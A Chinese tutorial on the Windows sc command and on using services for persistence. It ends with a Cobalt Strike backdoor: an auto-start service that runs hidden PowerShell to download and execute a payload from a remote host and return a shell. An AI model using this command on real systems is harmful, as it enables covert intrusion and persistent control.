Windows sc命令与权限维持

sc命令用来创建和删除windows服务

使用SC命令创建windows服务

命令格式:

1
sc [servername] create Servicename [Optionname= Optionvalues]
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# servername
可选,可以使用双斜线,如\\\\myserver,也可以是\\\\192.168.0.1来操作远程计算机。如果在本地计算机上操作就不用添加任何参数。

# Servicename
在注册表中为service key制定的名称。注意这个名称是不同于显示名称的(这个名称可以用net start和服务控制面板看到),而SC是使用服务键名来鉴别服务的。

# Optionname
这个optionname和optionvalues参数允许你指定操作命令参数的名称和数值。注意,这一点很重要在操作名称和等号之间是没有空格的。
如果你想要看每个命令的可以用的optionvalues,你可以使用sc command这样的格式。这会为你提供详细的帮助。

# Optionvalues
为optionname的参数的名称指定它的数值。有效数值范围常常限制于哪一个参数的optionname。如果要列表请用sc command来询问每个命令。

示例:

1
sc create svnservice binpath= "\"D:\Servers\Subversion\bin\svnserve.exe\" --service -r E:\SVN\repository" displayname= "SVNService" depend= Tcpip start= auto  

注意:

  1. option= xxxxx格式中,=号和后面的内容一定要有空格,如depend= Tcpip

  2. 如果命令中的需要进行双引号的嵌套,使用反斜杠加引号 \"来进行转义处理。

使用SC命令删除windows服务

从注册表中删除服务子项。如果服务正在运行或者另一个进程有一个该服务的打开句柄,那么此服务将标记为删除。

语法:

1
sc [ServerName] delete [ServiceName] 

示例:

1
sc delete svnservice

服务自启动后门

这里使用Cobalt Strike生成了一个powershell的下载后门的payload(菜单栏,Attacks–>Web Drive

-by–>Scaripted Web Delivery,生成powershell后门)

1
2
3
4
5
6
7
sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\"" 

sc description Name "Just For Test" # 设置服务的描述字符串 
sc config Name start= auto	 # 设置这个服务为自动启动 
net start Name ``# 启动服务

# 重启服务器后,成功返回一个shell
0%